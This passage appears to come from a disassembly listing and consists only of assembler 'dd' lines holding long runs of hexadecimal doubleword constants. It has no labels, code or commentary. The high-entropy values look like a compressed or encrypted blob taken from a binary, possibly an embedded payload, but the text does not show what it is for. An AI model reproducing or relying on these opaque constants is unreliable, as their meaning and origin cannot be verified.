		dd 545805F8h, 1C556120h, 0D141C5A2h, 31B800DDh,	329370FCh
		dd 0A5B7E600h, 0EB910CB6h, 3CFAADh, 2EC1B01Eh, 338109A6h
		dd 0D1267400h, 0C9EC552Ah, 3EB70E65h, 0C07FC45Ch, 0BECDC629h
		dd 0D54C99A1h, 21A20088h, 7E19F990h, 0BBE08Eh, 0A87520DFh
		dd 4ADCE886h, 0DAB2AD1Fh, 0ECE23587h, 994E0139h, 0BEC8775Eh
		dd 6EB900A5h, 0E3952D61h, 8C038668h, 9D029B8Fh,	7884009Fh
		dd 6DDF87D2h, 200072F3h, 4678ADAh, 2AE76CAAh, 19C0641h
		dd 0D687765Dh, 8064F472h, 11DF31ECh, 149A4148h,	0D3E907CBh
		dd 5E8F3F00h, 0C955F16Bh, 0A8532500h, 6DECD968h, 0ACA4A047h
		dd 0CCE500B4h, 1439B904h, 0AD009CDFh, 91DE715Fh, 13D7D56Dh
		dd 0E1AA0Ch, 0BB29FE70h, 89019628h, 0FBBF9FCEh,	3302407h
		dd 0BD511225h, 324A0077h, 0CDB43DE3h, 89E4D890h, 0F9FAF006h
		dd 265CE8A5h, 9ECED8Bh,	0FE833746h, 23A8430Ch, 6F3D57E5h
		dd 31EB00B9h, 4F64422Bh, 71F07Ah, 63505AB0h, 0AB65E77Dh
		dd 3C270B48h, 0B9728015h, 0EC0585F5h, 9B7A0061h, 0AE020678h
		dd 73002FF6h, 805EE9BCh, 1D1E5CC3h, 49DC407Eh, 800249Bh
		dd 2B060818h, 2EC8C002h, 0E03A0235h, 9FD74Eh, 6399271Fh
		dd 2B2A50AFh, 0AAEB1707h, 0B2707425h, 948BA9h, 5C98B342h
		dd 311E3E3Ah, 0ACDD2F17h
		dd 809F7D0Eh, 0F791882Ah, 0E1E3006Ah, 0C7614856h, 2C002BE9h
		dd 0D8D46D26h, 0E044F35Fh, 0F5EC000Ah, 98631DE2h, 0B33C22F1h
		dd 0FBAA0032h, 5DCB6A77h, 20591CFEh, 0B9BB403Ch, 71CFCEE0h
		dd 0E409622Ch, 99F4E780h, 0D7743h, 0AD2E341Bh, 279D5825h
		dd 0EB5E3Fh, 1F81524Ch,	0E3D0489h, 0D19CF138h, 0B6800F0Bh
		dd 0B8711AECh, 13F7C600h, 0B095188Ah, 0DC7500D7h, 0AEBE50C8h
		dd 1001108h, 0C2EF3125h, 969F80h, 0D88D852Fh, 0E4E1BEF9h
		dd 23B44200h, 0C3D34BB6h, 26B200E9h, 0FEC1D237h, 0D40F92C9h
		dd 452E361Ch, 62802A7Ah, 7F2B8E14h, 8874D0h, 0C138A46Ah
		dd 939D9BBh, 0B2CCD207h, 0A2D0B1B3h, 24B782BDh,	2CC1BDBh
		dd 80A76936h, 4C9302E0h, 1DA1F00h, 5DEAB951h, 528001Eh
		dd 784B6444h, 6E43CA9h,	9EE7F000h, 568B8218h, 0D4230074h
		dd 0DDCB5DA0h, 0CC92A30Dh, 6021F10Bh, 0C48C00ECh, 5D44EDh
		dd 0D8548C1Ch, 1224C627h, 970A25h, 8D18420h, 0F4AFAF5h
		dd 0DB9663C8h, 46A3B000h, 5478CAEDh, 747E3026h,	0DA50D200h
		dd 0C6DBAC3h, 9FE29166h, 3B00B249h, 964DCAB8h, 0B790Eh
		dd 0BE0DF51Dh, 78173634h, 3DF4854Ch, 58BC808Ah,	0EE2F704Eh
		dd 0CBB80090h, 21E0EFE7h, 79019A91h, 0E4CE07A0h, 0FBECDE97h
		dd 0D58D0058h, 0A3BB5E3Eh, 335808A4h, 0C6E401A5h, 0BC5CB2Ch
		dd 0D56260h, 9E1420E9h,	84C171CAh, 0DC1D5098h, 0A11D5CE4h
		dd 0E21C490Eh, 505DE9CCh, 5980920h, 7860D4D6h, 0F64D3EBEh
		dd 0C4FC0060h, 642BD99Bh, 0AA1702A8h, 0A3093489h, 0ED025C60h
		dd 30E8A701h, 96E00E82h, 0F3A09047h, 72A44004h,	41AF00F9h
		dd 5930F70Ah, 0E1053348h, 4BA26475h, 91798CC0h,	1107000Dh
		dd 0DE1E5B80h, 7C60474Ah, 0FE45A598h, 504901DAh, 78856CB4h
		dd 0C133E866h, 0FDAC3100h, 5B387D4h, 6170094h, 0C97D5295h
		dd 0A40E5632h, 6D28E9h,	6ADA430Dh, 0FFC00B2h, 6827F69Eh
		dd 0D8F3B383h, 52012338h, 0D3B61F6Dh, 0B62053E0h, 24B5E4CDh
		dd 16C37F1h, 5776A4B7h,	0AAF0741Bh, 0EEF73F07h,	74E05484h
		dd 0E086C2CFh, 38B40096h, 0D55BADB8h, 6004E09h,	0A55AC4DCh
		dd 0EB4F7626h, 9907B850h, 0BCF20132h, 0F77FDA13h, 679DE87Eh
		dd 202CC12Ch, 11EB5409h, 0A0DB4048h, 0B501E8h, 0A6E729B8h
		dd 4765D0A4h, 303B480h,	1B7DA257h, 26D0A54Dh, 0B00022ABh
		dd 613229F6h, 3C3420BDh, 0A23FB58Eh, 0FB633300h, 0CD4B4D87h
		dd 48008CFAh, 0E39E86C9h, 1736F7A9h, 8072D479h,	34CAD60h
		dd 3D1C26F0h, 0E46E86D8h, 981CC2BEh, 968D80D3h,	29884A18h
		dd 9C00E6F0h, 0DF3ACCD6h, 6036BC16h, 0D82030A6h, 91000407h
		dd 6AAAB333h, 3A10994Fh, 5A00E0DBh, 50E62847h, 97720614h
		dd 7DE30900h, 8F3B4B0Fh, 8D5B1831h, 0D6B5F82Bh,	0A2683F01h
		dd 0DABAB01Ah, 0B27460h, 8296BB9Ch, 198F1F04h, 0CDAF7200h
		dd 25106CA6h, 2BD1A046h, 0BCCC009Eh, 0E4D0B1D9h, 0E2006ECBh
		dd 0D6090FD4h, 12A9FAA3h, 3B959Fh, 84FD0374h, 14052B97h
		dd 295EE364h, 0C3E5B0C0h, 0F7C4005Bh, 73254ED9h, 0C700E89Ah
		dd 0EC07A42Fh, 1D6F387h, 0DDCEA295h, 0D8383204h, 6E8767Ah
		dd 7BE7F900h, 646B98FFh, 1903004Ah, 88B3922Ch, 28E05BE5h
		dd 0C8187224h, 6C0FD901h, 0C1D8DA95h, 7B3F00E2h, 44DF6745h
		dd 87301AC7h, 20EB581Eh, 8FE5029Bh, 96694E07h, 0ECC0D4C2h
		dd 7940065Bh, 70584BC0h, 0C14A2350h, 0EF28EA07h, 5D73EBDCh
		dd 86AAA812h, 0F926006Ch, 1EF37E5Ah, 0CC00FE05h, 83C07685h
		dd 8E5575h, 0D5273BF0h,	205CAF4Dh, 0C60EC807h, 0F77377C4h
		dd 0E7B5E8E2h, 0FBB00273h, 0A04B948Ch, 1FCA7540h, 4D270D00h
		dd 49DEABAAh, 0D7A803E5h, 17E1EE8Bh, 73CFDA90h,	59BCAC00h
		dd 853FFFCDh, 5F7E001Bh, 56480D79h, 3300A4AAh, 0DA8943D7h
		dd 3BB8E8h, 0C2E1601Fh,	57B01B26h, 3300B7B8h, 5B7606E2h
		dd 0F67BEDh, 0AC7AE7F5h, 0E0E87E45h, 0DC00167Dh, 5105650Eh
		dd 88A186h, 0CE9A84ADh,	0B28B98BBh, 3400F170h, 0FCA81D7Ch
		dd 46D2D7h, 0ED047E0Eh,	0FA06C85h, 0D98ED400h, 3D3EBB94h
		dd 0F301137Ch, 0FB670E46h, 843192A0h, 781F25D4h, 79C0A8ECh
		dd 3A3B8E95h, 0DF900094h, 0C20F3E82h, 8800369Fh, 543747DEh
		dd 0CFE7FF5h, 0F72AE6C6h, 500097D8h, 0AD12704h,	3B6FA8C3h
		dd 0F28040A1h, 2DEA25BDh, 9A000D3Ah, 99C42F9Fh,	0AA93B4h
		dd 666F4E5Dh, 0DB4AB141h, 0DF07B7F0h, 7E0A7D14h, 44EAD6D0h
		dd 63131D8Dh, 8076DF4Dh, 8129B29Fh, 73000888h, 2744C518h
		dd 30F306h, 0D8B3E4EDh,	0C7A7E083h, 2654B500h, 0FB32EE8Fh
		dd 1857093Dh, 200EDB5Ch, 2B11961h, 1BEA70F7h, 0ABBED100h
		dd 91062ECBh, 4C510772h, 73DDC3h, 234793D3h, 0EF7E7903h
		dd 808C0EBFh, 7FB09Dh, 0D85A3D53h, 0C5F76FD0h, 5E0552F0h
		dd 0D63D2DAh, 3378FD04h, 56806487h, 0F6D84E35h,	0A18900B7h
		dd 0E89434A5h, 593E75BDh, 0AB9A0033h, 0B27FF966h, 7D9900C8h
		dd 87B9D3E5h, 0B1277CBh, 51110C7Ah, 0AFEF03A0h,	0E8623B2Ch
		dd 7072881h, 80ABC88Dh,	93B370A4h, 0DC0092FCh, 0F685F3DFh
		dd 3F1E3FFh, 0F032275Ah, 7AC8AF65h, 6F0EB872h, 807C4826h
		dd 44DC94DDh, 6AD200C4h, 0B3AC640Dh, 0AD0371A5h, 385CF381h
		dd 7BD9E03Bh, 0CE11033Fh, 0B2AB895Eh, 949C6BD0h, 0E9E7DA01h
		dd 82D0C1BCh, 95ABAF0h,	0A9B06D21h, 8CC67B00h, 32381FFFh
		dd 0BEE400FEh, 0D5CD1780h, 0C3590783h, 30EF7451h, 0D4409261h
		dd 3A695D00h, 70AC0B49h, 58503ADh, 136B2BE2h, 0D8A0FFDBh
		dd 0C70152A5h, 545D3DD3h, 0E0D7AF51h, 0F727F6Ah, 97B341D2h
		dd 9EFD3940h, 762624DAh, 0DD000C58h, 0B028C6BFh, 1FCD3B7Ch
		dd 0EF0B2500h, 0A53E8D55h, 0EB6B020Bh, 2E54014Dh, 0F4CC3D19h
		dd 967050h, 0BF4F7377h,	0A616AD44h, 7A654900h, 5A2311D5h
		dd 6140003Ch, 0E26045A1h, 37009558h, 0A6A8B386h, 445490h
		dd 9899DD73h, 275247B9h, 9FAC9B00h, 30539563h, 0F88900D7h
		dd 435020CEh, 1800384Bh, 21D28E6Dh, 24BF25B5h, 2CFB33h
		dd 8C06FE1Dh, 8B00F7B7h, 0BB343565h, 0BCC19Dh, 92FF17C4h
		dd 6741F003h, 0C8767B03h, 0E86C82CAh, 122CF50Bh, 806E56h
		dd 62FC8138h, 3F0067FEh, 6FAAE1DDh, 0F5877Dh, 482733B0h
		dd 0B91D5D85h, 28EB7726h, 0A896EA00h, 3F76B439h, 798557F0h
		dd 8035FD8Bh, 0D53E8081h, 3C9AF638h, 6AC28082h,	0B9364174h
		dd 9D84037Ch, 2A6B8B8Dh, 51A7D2A0h, 0E7860500h,	48E0E4C3h
		dd 5EC201E6h, 323AD08Ah, 7AB7CCFDh, 0E72C5D1Dh,	41982D40h
		dd 0CD74CBh, 0A5452E11h, 614A8768h, 77609F05h, 8085805Eh
		dd 0ABAEE280h, 165D01A2h, 8E15DBEAh, 8B3FE00Ah,	0C6CCB102h
		dd 0C1EB19F8h, 74FC7145h, 3868006Dh, 900E801Ch,	0CA05996Ah
		dd 0DC7AC4ECh, 872A8780h, 32E101DEh, 26CF338Fh,	8816BF1h
		dd 90E3256Bh, 487869Dh,	0AF960C2Ch, 4EEB8012h, 0C600D08Fh
		dd 3EB202B8h, 0A6374Bh,	3042109Ah, 92B77EE1h, 5A01D57Ch
		dd 9C9EAAB1h, 9DC4E922h, 0AEF6C9h, 164C2FB5h, 3AD21081h
		dd 1056600h, 0B348A668h, 0D6E700A2h, 0A16B3685h, 0A979E865h
		dd 34409100h, 791E041Dh, 5E9A07C1h, 0C08CA5ECh,	312C4A5Ah
		dd 383CCF00h, 5F34A8F2h, 0CAF13B66h, 1819C600h,	67147795h
		dd 4B45C00h, 0E21B0702h, 83780F6Eh, 18C36603h, 80D8B0E4h
		dd 7B001F2Dh, 0D00A5CACh
		dd 0B46F9DFh, 0C082F3A0h, 7649EE80h, 4C0089BFh,	0C2F28FADh
		dd 3B203573h, 0C1008384h, 247F2D1Fh, 0D100F825h, 4A454FC5h
		dd 1B13DEh, 0ADB7DD1Ch,	8E5ACCA8h, 7C17548h, 0E7B95B9h
		dd 0B68C2160h, 67F50098h, 0BBBCD7B7h, 44005902h, 1026AC12h
		dd 0BD820Ch, 0BA65D147h, 668E507Ch, 5A6F741Ch, 0E760DC41h
		dd 0C0CC8BA7h, 26F50F81h, 1D075DE4h, 945ED071h,	89383A8Ch
		dd 45410AACh, 4B1F9E2Eh, 6408B140h, 0FFA428Eh, 6D4EEC32h
		dd 0FEC76903h, 668FF288h, 3A3CFB7Fh, 9A108E95h,	8051ECA0h
		dd 277D1EA3h, 76FC65h, 0A2E061CAh, 0CEE3B42Ah, 1E0DC03Eh
		dd 810062A1h, 30F1C856h, 7C140094h, 0A3ACDBB6h,	8277040Ah
		dd 89E69903h, 0AB3A538Ch, 5BC0DD81h, 8D6541h, 0AB46FB59h
		dd 47E08835h, 0EF859000h, 430133A2h, 49CC07E6h,	61DCF3B9h
		dd 805F5BD6h, 0C6F58E90h, 0C0C2A40Bh, 0B4291C98h, 41E29AE1h
		dd 0D4DBC1C0h, 0D9D98h,	6FC15A01h, 582A035Fh, 2B533200h
		dd 256F21Ah, 73477B6Dh,	96080067h, 55A043B4h, 0FC00B854h
		dd 884A3698h, 3A9D73Ch,	0B3239566h, 2EF8ACD5h, 290489E0h
		dd 80553307h, 14D39E80h, 0C5F60490h, 0C0C309A3h, 769B4C10h
		dd 46B96660h, 1EDB11Fh,	1A6479DCh, 0D1BF01E6h, 8521BF67h
		dd 36F3CB07h, 43F2C603h, 0F80EFB38h, 7089070h, 1F501847h
		dd 22F49059h, 0EF0068E8h, 511A2024h, 3FDC38Ah, 55A69080h
		dd 7803888Ch, 4ADB95E8h, 0C8F2B0CAh, 305C60FAh,	738E5EDEh
		dd 0D9CB710Ch, 3E652047h, 9F9464A4h, 0ABE32053h, 22EA61F4h
		dd 0C984744Bh, 96BD300Dh, 0B0F9604Eh, 7DE0505Bh, 807E49h
		dd 22C8E330h, 183BFAFBh, 81FA35Fh, 20C0654Ah, 93C8A9DAh
		dd 0E420A2Dh, 9A7675h, 17CA7A6Dh, 6B501047h, 6E7C2394h
		dd 0F879E660h, 0AA77E74Ch, 0F1B0C054h, 0BFD92ADCh, 1BCA4454h
		dd 0E8B0D330h, 302810CBh, 0F481317Dh, 0F53EFDE0h, 0CCED807Bh
		dd 0FB4AB607h, 7F300081h, 8EEF7D9Dh, 190077C2h,	8B0918A8h
		dd 0A82D39CBh, 67843DB4h, 428C89C6h, 0B8AF63D3h, 548E2E00h
		dd 3200A2FFh, 1A9ADFB4h, 9220D860h, 8AD901C8h, 724D6B54h
		dd 8F6C604Fh, 5B6E4107h, 0CBA016A2h, 0C6C8B3CDh, 39FC8569h
		dd 637E0509h, 5EFC00F1h, 0A67CDE50h, 0C8AD04B8h, 384AFE8Ch
		dd 0C8FB00D0h, 2BB53DA0h, 0B49118EBh, 10084318h, 0C3AD008Dh
		dd 9E163A94h, 19C556FEh, 0BC088AEBh, 0CB09C081h, 6AE8D3CFh
		dd 0F1358B85h, 8B0FA301h, 2114F448h, 6145C30Eh,	3100B4Dh
		dd 18180713h, 597281D9h, 0AA019333h, 0EE6FA31Eh, 4870768Ah
		dd 94810077h, 90DF9EACh, 590139AEh, 0B6F31A7Ah,	88400AE6h
		dd 4036910h, 23EA7257h,	3D84C8DCh, 8D749E05h, 0D4086110h
		dd 5427C0D6h, 8A10A2FAh, 2B88D85Fh, 5497E480h, 9A8D812Dh
		dd 571154Ch, 4C518CB8h,	2F7E7801h, 2A9FB450h, 0E34014Fh
		dd 7A84906Dh, 1274CCFDh, 8FCF4106h, 5416BE3h, 61179AACh
		dd 303D849Dh, 1CA45C4h,	7B46ED00h, 8F0806B0h, 0F0E33094h
		dd 0A6E8B1E9h, 0FEEF2000h, 4ED01439h, 0C057E83Ah, 0B4E1C741h
		dd 0CE24D515h, 0F1407879h, 53D103h, 6221780Ch, 746459ADh
		dd 8E39CCE9h, 3371C302h, 8E179648h, 8D801194h, 1AA2F854h
		dd 34226043h, 54964E1Dh, 7477F4C0h, 0B9036h, 0B9FE4DFDh
		dd 5AA15D70h, 6920B400h, 3B9D2372h, 0C0E57C01h,	0E44FD7B1h
		dd 0F3011CD2h, 21AE74B7h, 0F06F56D4h, 9E0F40F0h, 0F20C686Eh
		dd 77547C27h, 27C8FE30h, 11F2FB23h, 0A6450044h,	86778C8h
		dd 0A5E0090h, 1D8D73C3h, 0E4E0DAE9h, 2AB244A0h,	2B9C1906h
		dd 732431F1h, 6988603Ah, 28258238h, 0F9563E00h,	47F8DCB1h
		dd 5C9284h, 0DF0863E6h,	0A12899FAh, 4DB47200h, 91B01B7Fh
		dd 0F44B05F1h, 60908FFDh, 0ACA8FCE4h, 38DEE910h, 338055C8h
		dd 5708A6F5h, 1BC917Fh,	2C046374h, 8A9147DAh, 7DE58888h
		dd 0BDC8AC60h, 75E246FBh, 72D76440h, 0F424009Ah, 0FF4E8376h
		dd 7D011F78h, 668DFED8h, 0FC4C8875h, 0FD810444h, 325F82A2h
		dd 88E32032h, 0EE001654h, 3DA9CABBh, 0C905C2D4h, 0E88027E1h
		dd 230E07D3h, 957A6876h, 0F8E4264Ch, 0D4008CCEh, 190C1463h
		dd 34F035h, 98997090h, 72AB97F9h, 0F3E4F51Ch, 9FB9586h
		dd 920E0120h, 0E3831ADAh, 1BAC5094h, 237C30F8h,	0DB35CC0Ch
		dd 35E196Fh, 0E6D52F26h, 158033B1h, 2D009B79h, 0C7B43D7Ah
		dd 4FD2B24h, 0DAE0FA89h, 9030D00Eh, 6B60A46Dh, 7183DBC9h
		dd 32E0125h, 0C6EA959Fh, 7485FA07h, 82B49BF8h, 0A45772E0h
		dd 0B08075F0h, 2C89AB03h, 0A1405B45h, 182679DCh, 7CF3182Ah
		dd 0AF50C940h, 0A5E04900h, 55CA53BCh, 377F6CDh,	0BF3A5D42h
		dd 75A8F9F7h, 0EBF7FEC8h, 2C32C10Fh, 69C9E041h,	0BD457E9h
		dd 604034BDh, 0E6F10C80h, 1B7C5C94h, 0CE7C124h,	842F0B92h
		dd 7D01B923h, 0ABBE9855h, 2852AC5Ah, 0CD30CCE2h, 0B93700F2h
		dd 0B189B599h, 0DB305EF3h, 9607968h, 912D0041h,	9E8477E2h
		dd 450015BFh, 690E731Ah, 26D45107h, 33EF47Fh, 2B5AB8C0h
		dd 0C1CDDCF8h, 746358h,	24F51850h, 7F603D35h, 7AF90061h
		dd 0CA9DEEA0h, 29006F82h, 0EC5AA90Ch, 6C6417h, 83067C2Ah
		dd 0C6F3EF0Eh, 3B2F9400h, 5FC46B24h, 0F9F80Ah, 7E68E027h
		dd 980CA783h, 1870958h,	3EC085A0h, 90F4CB37h, 0CDA200D3h
		dd 6B662182h, 0D905B7D1h, 0A127D94h, 36D6CEC0h,	577400B3h
		dd 216BDBCh, 8FEEC603h,	0AE289700h, 177CA779h, 0FFF50FB1h
		dd 7BA08093h, 0E2E3F042h, 82004E76h, 1158246Ah,	0E55D44h
		dd 0EFFE4839h, 6FAF236Ch, 0E91C3200h, 0B9F7B698h, 0C70C0045h
		dd 17DB4D3Dh, 0F1000477h, 0B3A7E6CFh, 1A94CAh, 0FD3ABDAFh
		dd 68B0B235h, 0A3597F00h, 4B2E3390h, 21390042h,	0E3EA8AE7h
		dd 850B8346h, 1F5D9Dh, 22C2ADCEh, 0BE737Ah, 6FD9C726h
		dd 99A4ED12h, 85E4F700h, 7CDC7946h, 7F17B49h, 1FC9E720h
		dd 0EA94001Ch, 2E0142AEh, 35379154h, 71CCFCD2h,	927B006Dh
		dd 3183E433h, 9C3DBF8Fh, 0BDD900FEh, 0DB455D11h, 33CF442h
		dd 0DC9455B4h, 0C80F164h, 0BF00BD57h, 2C90B1D3h, 440465h
		dd 0AF4BCB8Bh, 0DFC9F106h, 0A398DC1Bh, 7BCA8B4Eh, 0B7041E80h
		dd 0C03F9E2Ch, 57104861h, 0CB00D809h, 0B3BC7949h, 0F041CCh
		dd 0A181C39Ah, 9F05567Fh, 3E6E5D00h, 72F1689Eh,	12C0A006h
		dd 0F2CDA0BBh, 24E00E1h, 47D0012Ch, 2D3071BCh, 374F8005h
		dd 1CA90E86h, 0FE00E2C6h, 9FAC8C28h, 9631B200h,	0B3E810A2h
		dd 2D661EB4h, 876EC02Ch, 0C0FE4EE5h, 75799013h,	42E72203h
		dd 8063927Eh, 97CF5C80h, 0C4EC18D3h, 8506C069h,	0A91880C0h
		dd 371D83h, 9B398D55h, 90D05C8h, 0D655ADF0h, 31B8E0A0h
		dd 63F6DC00h, 98F2E26Dh, 0BCA10EC4h, 8AEEA850h,	47A4FE20h
		dd 657D8F6Bh, 0CC305303h, 0D0F413BEh, 0FC255CDFh, 0ACAB004Ch
		dd 4AD3AE1Fh, 0F01F81D0h, 0B45E0490h, 4E996900h, 3F3060h
		dd 0E7635B49h, 76A442Fh, 4029C430h, 7A66BCCCh, 0C6300025h
		dd 83D6E7EAh, 147FC5AEh, 24D0F400h, 4799529Eh, 614D01ABh
		dd 48B74AF3h, 0A4C04054h, 0F53FEE31h, 360700ECh, 7BBF8AE0h
		dd 0A61A00D7h, 0DC113F18h, 0D100E8E2h, 0F15F5194h, 1E02BA5h
		dd 81EBC3E9h, 0CC22BD5Ch, 7D0F3EDCh, 53319FE8h,	52DD0503h
		dd 59DEF8h, 42B96904h, 0C1F32385h, 0C9782128h, 0E5C41B00h
		dd 34C6C043h, 6BA00087h
		dd 8966980Fh, 0EB60158Dh, 704E4540h, 809D04D4h,	0C62A31AEh
		dd 0E90E581Bh, 98DDA3A4h, 7FDBE28h, 30339F44h, 0D0B78069h
		dd 98003180h, 0E02F88C3h, 637B898Dh, 3ADD6094h,	8B3606D8h
		dd 59EBFC00h, 11D567C9h, 76240018h, 60FEDD2Ah, 0BB00A473h
		dd 67CAB8FAh, 14C41A06h, 20DEFF8Dh, 1879B7E1h, 4CEA2671h
		dd 0D1379Ch, 8B512F8Ah,	2C727506h, 3008A1B3h, 0D520DDD4h
		dd 16092F02h, 0D1CC84h,	0C35E5EBh, 0CE5A305Bh, 885607F9h
		dd 0AD3F4F01h, 0B553C1D1h, 88B90995h, 4ECDF600h, 660D8736h
		dd 25393F60h, 0A8A3F2h,	3E1901D6h, 0EA6E2A77h, 508E102Ah
		dd 7D2F061Eh, 0D9881551h, 2F7ED187h, 45D8E200h,	0D620006Fh
		dd 283D1740h, 0BF016070h, 8B872CDAh, 83D2B064h,	92D9F98Ch
		dd 55C481D7h, 80F6B3FDh, 5B76DAA8h, 6F5F01EAh, 4E8983A4h
		dd 0E089802Ah, 9579A7B3h, 7C9B1EBAh, 846982FFh,	84B0785Bh
		dd 35083DBEh, 64DCC1ADh, 0E63444BDh, 4BCAA580h,	2D201F3Eh
		dd 5508CCA9h, 1010F798h, 0DD06C2B3h, 1849406Ch,	85360406h
		dd 286901F2h, 1D950A7h,	61AF72F9h, 0D1B1EFD1h, 3C882489h
		dd 94647F00h, 0DF886E8Ch, 0A73600A5h, 2A4D706Bh, 8FEDE8D4h
		dd 606CCBB1h, 0BD81F706h, 50F0C099h, 0A9E18E89h, 30007AE6h
		dd 25A213AAh, 7B794A4h,	50451FB5h, 2D8AD006h, 35EC9DD0h
		dd 0F865BA00h, 0D166152Eh, 0C55900A7h, 7F923EE3h, 991663B8h
		dd 8107E770h, 0E02F6888h, 0A50730A9h, 0B9F200F3h, 9285F9F1h
		dd 0ECF4E9C9h, 969B8E3Ch, 211E4780h, 0B356B740h, 0AC99D4h
		dd 90A0586Eh, 1A36A68Ch, 2EFB2001h, 53CE91A9h, 3ED1F8EBh
		dd 669F1FC1h, 0BD1030A2h, 0F77D7930h, 6E000DFCh, 4B88522h
		dd 0B563E287h, 0E49097D8h, 4F5E1305h, 25856EC8h, 0D2BFE100h
		dd 183AFAD0h, 616D4350h, 9C3AAA0h, 7AC12ECDh, 3DB49810h
		dd 5300DFF6h, 6775FBFDh, 9B00A786h, 1C4BCE38h, 7DA0977Fh
		dd 9129DF01h, 0A9447AE3h, 5D22844Fh, 0FE2B2287h, 10932622h
		dd 1180E303h, 7F2172A7h, 94ABC308h, 9D082807h, 0E308F592h
		dd 0AE3900E1h, 760BA93Bh, 0BCF96A0Eh, 80CA044h,	0DB4AAFh
		dd 0F1856CF7h, 0AC0691BEh, 0F0004FB0h, 34C2EB5Ah, 1F8977E1h
		dd 0C1833779h, 0B978387Bh, 0C1F9FCDBh, 2068C41Fh, 3CEEF300h
		dd 1D5B0Ah, 132FF1B0h, 0D62B16DFh, 0BA6B3100h, 0EF074B51h
		dd 0F2A600DBh, 0F665C6C7h, 0F8002D0Ch, 0EB0D6412h, 7F29E8h
		dd 87A2795Ch, 96935D4Dh, 341D7107h, 0B26560A8h,	12C1AC1Eh
		dd 0AC208B83h, 0B02F0CD5h, 9600FAC3h, 519F937h,	17BA8ECh
		dd 0C795F0Eh, 0CC4CEF18h, 2CF2F37Ch, 195E900h, 83A539E4h
		dd 9792005Dh, 0E3E00719h, 0E01EA7Ch, 68445E8Eh,	40DC1DDAh
		dd 945F0FB6h, 0D380C83Eh, 5907528Ah, 0BE060A00h, 7842DFA5h
		dd 58970138h, 0B9C93AC2h, 0A898E392h, 141CFE62h, 32C03748h
		dd 0E0522DCDh, 8FEE39D3h, 0CE8C6700h, 4975A75Fh, 81A47A00h
		dd 0FD126416h, 0F48E8A1h, 0FFF738Bh, 2B3AD0C0h,	0C5006B5Bh
		dd 9A03D16Eh, 1C87DCFh,	0C35FDA84h, 0D8549939h,	0E900B8D6h
		dd 22A36B1Ah, 302146Eh,	0AF5173C4h, 74D09A3Ch, 4900C52Ch
		dd 0D7DE419Eh, 162A28Dh, 1CA71526h, 0FCA1DA35h,	5D2473CDh
		dd 0B4099CD4h, 963680A0h, 60DD58B9h, 0EDB050B8h, 48C0BD40h
		dd 96CA25DCh, 380C07ECh, 32C6A6A7h, 11E03FC2h, 0B7010E97h
		dd 23871392h, 5B31B853h, 251EB040h, 32CB01C2h, 4767A838h
		dd 3ED96057h, 0D662BC05h, 72C0E641h, 0CF535Bh, 0D2E24782h
		dd 0BC5EECEh, 7C24781Ch, 1086EB01h, 0A4DC5497h,	0DFC002E6h
		dd 7E153AE5h, 81878D40h, 5F475700h, 0AEEF4BA6h,	3A05006Bh
		dd 14931337h, 0EB01778Ah, 6D6CF4CBh, 69DC62A9h,	542D03B7h
		dd 19C717FBh, 94B2F2E0h, 4DC1E500h, 90B89B34h, 44910742h
		dd 10C65AC3h, 371EF1A4h, 0BA9D9505h, 80EAE8F0h,	0C7250737h
		dd 1939DE00h, 0A0DBE7CFh, 69650005h, 33F4AAD3h,	0B30E5B83h
		dd 4196721Ch, 0FA45D75Fh, 3FDE270h, 5449929Fh, 59E003F5h
		dd 5500315Bh, 532EBE34h, 0A5260Dh, 0C17A9DA2h, 72EA5861h
		dd 22355A02h, 80665B3Eh, 0E9F498A8h, 6FC3C12h, 8C64E581h
		dd 221D5475h, 0AA500E0h, 8680B1AEh, 9DF800B6h, 0F4D6568Dh
		dd 8CE2D74Bh, 0C500AAFAh, 51364ADDh, 0FA3C1DEDh, 104B67F7h
		dd 8A278146h, 0F4A0E539h, 0D9008DF4h, 6C7197BEh, 0E5BB2137h
		dd 0BCFCA0DEh, 0FF023Bh, 5C0F3035h, 33FDB71Fh, 9CCFA000h
		dd 27B8CBB1h, 44D30252h, 7DE61BABh, 3F55E28Ah, 4631FE07h
		dd 0F1CF240h, 0C631E60h, 90AEF50Fh, 0B778E075h,	3CD26244h
		dd 5180A1D3h, 2E6A4BC1h, 1C90CB23h, 5B97EF03h, 9A4DE4h
		dd 14827710h, 55DFFEB8h, 1DD50D01h, 5AEAB0B7h, 50984FE8h
		dd 688CBAh, 9FD6AA90h, 0E70C94D1h, 3344131Eh, 4187E2DEh
		dd 0C3206081h, 0A1EBC9h, 8A80C150h, 88FC53D4h, 21B9D800h
		dd 0D3C30E7Eh, 0F9B63C35h, 19C24309h, 0DAF36E03h, 0DC6798E9h
		dd 4A02248Ah, 699B635Ch, 10546057h, 0FA1675C9h,	3AC77036h
		dd 3240D09h, 5CED00D0h,	2B01BEA4h, 0BC1EF672h, 7E80B96Dh
		dd 8DDC9664h, 0B4C33BF1h, 62EF3480h, 0B14447A3h, 8AA5E11Fh
		dd 4B00F1E6h, 6D0B5BBBh, 72C53AE7h, 625FB400h, 0C4262F54h
		dd 0D191CD00h, 0C765328Dh, 35B72E75h, 7751006Bh, 0CE548E87h
		dd 79918C00h, 998466CCh, 0ED9002B6h, 0EB53D56h,	0DCA2FC40h
		dd 3E5A8C1Eh, 0FB40078h, 3F5F4F18h, 21B36045h, 0F1874B39h
		dd 33991F00h, 0BB142C5h, 74A40089h, 0C85F7578h,	0D5027F4Eh
		dd 696C5827h, 0F5B260D1h, 7C1603BDh, 420911C3h,	82F94E90h
		dd 0CE00D773h, 255ACCADh, 10C324Ah, 530FE001h, 0E46D873Ch
		dd 2D006AA4h, 0D6645E42h, 8B717Fh, 80CCEDB2h, 79AB862Ch
		dd 0D5A6020Eh, 0DFFC0A3h, 3F2ED6h, 82DC8F8Ch, 9F6E5C0Bh
		dd 0C4ECAA00h, 0A377FE1Ah, 0E46D0083h, 0F881A160h, 3B004228h
		dd 0B48BFD1Fh, 3073EECh, 0E5E43583h, 0D6A0D3BEh, 0B9002B34h
		dd 0B5AD27Bh, 2F5A9h, 0B00C4465h, 6DD456C9h, 3759AF00h
		dd 29B2D7D5h, 0E3463E7Eh, 11C6213h, 52432464h, 4A2F6086h
		dd 50A6EF12h, 0F1804Fh,	0CDC2C8D1h, 224900C0h, 9661AB1Bh
		dd 0FC00094Eh, 212BC578h, 85DCE1h, 385EF5B9h, 4E7215B8h
		dd 1E67D602h, 0E8FBBD12h, 7489990h, 51F5C911h, 0B0B5C079h
		dd 8D07D45Ah, 22CDD9FEh, 834D15E0h, 55C807A1h, 0F02C2839h
